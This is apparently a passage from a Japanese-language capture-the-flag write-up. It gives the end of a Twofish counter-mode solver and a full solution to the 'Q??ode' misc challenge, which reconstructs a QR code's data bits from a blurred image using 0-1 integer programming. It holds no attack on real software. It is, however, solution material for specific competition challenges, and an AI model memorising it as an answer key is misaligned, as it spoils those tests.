    key = secrets.token_bytes(16)
    encrypted_counter = [twofish_encrypt(i,key) for i in counter]
    res = b''.join([long_to_bytes(f ^ bytes_to_long(c)) for f, c in zip(encrypted_flags, encrypted_counter)])
    if b'TSG' in res:
        print(res)
        input()

## [misc] Q??ode

QRコードでは、(encoding が特殊でない場合は)データの各 bit が必ずどこかのマスに対応している。よって、各 bit を 0/1 の変数とおき、与えられる画像の各ピクセルの色をそれらの変数の和で表すことで 0-1 整数計画問題として立式できる。よって、これを解けば良い。

import cv2
import numpy as np
from typing import List, Tuple

from qrcode.main import QRCode
from qrcode.base import rs_blocks
from qrcode.constants import ERROR_CORRECT_L

def create_img(mask_pattern, data, version=40, error_correction=ERROR_CORRECT_L):
    qr = QRCode(error_correction=error_correction, version=version, box_size=1, border=1)
    qr.mask_pattern = mask_pattern
    qr.data_cache = data
    qr.make(fit=False)
    img = qr.make_image()
    return np.array(img._img, dtype=np.float64)[1:-1, 1:-1]

def create_plain_img(mask_pattern, version=40, error_correction=ERROR_CORRECT_L):
    fill_zero = create_img(mask_pattern, [0x00] * (3706), version, error_correction)
    fill_one = create_img(mask_pattern, [0xff] * (3706), version, error_correction)
    eq = fill_zero == fill_one
    return fill_zero, fill_one, eq


def get_byte_limit(version=40, error_correction=ERROR_CORRECT_L):
    blocks = rs_blocks(version, error_correction)
    return sum(block.data_count for block in blocks)

def get_ec_count(version=40, error_correction=ERROR_CORRECT_L):
    blocks = rs_blocks(version, error_correction)
    return sum(block.total_count - block.data_count for block in blocks)


def acquire_data_array(version=40, error_correction=ERROR_CORRECT_L):
    blocks = rs_blocks(version, error_correction)
    
    dc_offset = 0

    maxDcCount = 0
    maxEcCount = 0

    dcdata: List[List[Tuple[str, int]]] = []
    ecdata: List[List[Tuple[str, int]]] = []

    ec_offset = 0
    for rs_block in blocks:
        dcCount = rs_block.data_count
        ecCount = rs_block.total_count - dcCount

        maxDcCount = max(maxDcCount, dcCount)
        maxEcCount = max(maxEcCount, ecCount)

        current_dc: List[Tuple[str, int]] = [("d", i + dc_offset) for i in range(dcCount)]
        dc_offset += dcCount
        dcdata.append(current_dc)

        current_ec: List[Tuple[str, int]] = [("e", i + ec_offset) for i in range(ecCount)]
        ec_offset += ecCount
        ecdata.append(current_ec)

    data: List[Tuple[str, int]] = []
    for i in range(maxDcCount):
        for dc in dcdata:
            if i < len(dc):
                data.append(dc[i])
    for i in range(maxEcCount):
        for ec in ecdata:
            if i < len(ec):
                data.append(ec[i])

    return data

def get_data_map(mask_pattern, version=40, error_correction=ERROR_CORRECT_L):
    zero, _, is_template = create_plain_img(mask_pattern, version, error_correction)

    cv2.imwrite(f'pattern.png', zero * 255)
    print(is_template)

    modules_count = version * 4 + 17
    print(zero.shape, modules_count)

    inc = -1
    row = modules_count - 1
    bitIndex = 7
    byteIndex = 0

    data = acquire_data_array(version, error_correction)
    modules: List[List[Tuple[str, int]]] = [[("n", -1)] * modules_count for r in range(modules_count)]
    for i in range(modules_count):
        for j in range(modules_count):
            if is_template[i][j]:
                modules[i][j] = ("c", 0 if zero[i][j] else 1)

    for col in range(modules_count - 1, 0, -2):
        if col <= 6:
            col -= 1

        col_range = (col, col - 1)

        while True:
            for c in col_range:
                if not is_template[row][c]:
                    typ, byte_ind = data[byteIndex]
                    
                    modules[row][c] = (typ, byte_ind * 8 + 7 - bitIndex)
                    bitIndex -= 1

                    if bitIndex == -1:
                        byteIndex += 1
                        bitIndex = 7

            row += inc

            if row < 0 or modules_count <= row:
                row -= inc
                inc = -inc
                break
    return modules

import time
import cv2

from mip import Model, CBC

from lib import get_byte_limit, get_data_map, get_ec_count, create_plain_img

m = Model("qrcode", solver_name=CBC)
def get_bit(name):
    return m.add_var(name, var_type="B")

bit_limit = get_byte_limit() * 8 
ec_bit_count = get_ec_count() * 8 
flag = [*b"TSGCTF{"] + [None] * 1468 + [*b"}"]

bitdata_arr = []
bitdata_arr += [0, 1, 0, 0] # mode == 4
bitdata_arr += [int(c) for c in bin(2952)[2:].zfill(16)]

flag_bits = []
for i, elem in enumerate(flag):
    if elem is not None:
        flag_bits += [int(c) for c in bin(elem)[2:].zfill(8)]
    else:
        flag_bits += [0, 1] # flag content always start with 0b01...
        for ind in range(2, 8):
            flag_bits.append(get_bit(f"chr_{i}_{ind}"))

bitdata_arr += flag_bits * 2

# Terminate the bits (add up to four 0s).
for _ in range(min(bit_limit - len(bitdata_arr), 4)):
    bitdata_arr.append(0)
# Delimit the string into 8-bit words, padding with 0s if necessary.
delimit = len(bitdata_arr) % 8
if delimit:
    for _ in range(8 - delimit):
        bitdata_arr.append(0)

# edata = [get_bit(f"ec_{i}") for i in range(ec_bit_count)]

PAD0 = 0xEC
PAD1 = 0x11

# Add special alternating padding bitstrings until buffer is full.
bytes_to_fill = (bit_limit - len(bitdata_arr)) // 8
for i in range(bytes_to_fill):
    if i % 2 == 0:
        bitdata_arr += [1, 1, 1, 0, 1, 1, 0, 0] # 0xec == 0b11101100
    else:
        bitdata_arr += [0, 0, 0, 1, 0, 0, 0, 1] # 0x11 == 0b00010001


BIT_PATTERN = 1

zero, _, is_template = create_plain_img(BIT_PATTERN)
data_map = get_data_map(BIT_PATTERN)

print(len(data_map))

PAD_LEN = 2

data_map =  [[("c", 0)] * (PAD_LEN + len(data_map) + PAD_LEN)] * PAD_LEN + \
            [[("c", 0)] * PAD_LEN + [*row] + [("c", 0)] * PAD_LEN for row in data_map] + \
            [[("c", 0)] * (PAD_LEN + len(data_map) + PAD_LEN)] * PAD_LEN

tmpl_and_mask =  [[0] * (PAD_LEN + len(data_map) + PAD_LEN)] * PAD_LEN + \
                 [[0] * PAD_LEN + [1 if item == 0 else 0 for item in row] + [0] * PAD_LEN for row in zero] + \
                 [[0] * (PAD_LEN + len(data_map) + PAD_LEN)] * PAD_LEN

is_template =  [[True] * (PAD_LEN + len(data_map) + PAD_LEN)] * PAD_LEN + \
               [[True] * PAD_LEN + [item == 1 for item in row] + [0] * PAD_LEN for row in is_template] + \
               [[True] * (PAD_LEN + len(data_map) + PAD_LEN)] * PAD_LEN


# cheat = cv2.imread("flag_orig.png", cv2.IMREAD_GRAYSCALE)
im = cv2.imread("flag_chall.png", cv2.IMREAD_GRAYSCALE)[1:-1,1:-1]

def filp(var, mask):
    return 1 - var if mask else var

h, w = im.shape
for i in range(h):
    for j in range(w):
        has_e = False
        sumup = 0
        # cheat_sum = 0
        for di in range(3):
            for dj in range(3):
                coeff = [[1,2,1],
                         [2,4,2],
                         [1,2,1]][di][dj]
                typ, val = data_map[2 * i + di][2 * j + dj]
                zero_val = tmpl_and_mask[2 * i + di][2 * j + dj]
                # cheat_sum += (1 if cheat[2 * i + di][2 * j + dj] == 0 else 0) * coeff
                if typ == "e":
                    has_e = True
                    continue
                if typ == "d":
                    sumup += filp(bitdata_arr[val], zero_val) * coeff
                    continue
                if typ == "c":
                    if is_template[2 * i + di][2 * j + dj]:
                        assert val == zero_val
                        sumup += val * coeff
                    else:
                        # assert filp(val, zero_val) == (1 if cheat[2 * i + di][2 * j + dj] == 0 else 0), (2 * i + di, 2 * j + dj)
                        sumup += filp(val, zero_val) * coeff
                    continue
                assert False, (typ, val, coeff)
        if has_e: continue
        # assert cheat_sum == round((255 - im[i][j]) / 16)
        constr = round((255 - im[i][j]) / 16) == sumup
        if type(constr) == bool:
            assert constr
            continue
        m += (constr)

print("checking...")
t = time.time()
m.optimize()
print(time.time() - t)


bin_flag = "".join([str(int(item.x) if type(item) != int else item) for item in bitdata_arr][20:][:len(flag)*2*8])

print(bin_flag)

print(int(bin_flag, 2).to_bytes(len(flag)*2, "big"))

print(len(im))
print(len(data_map))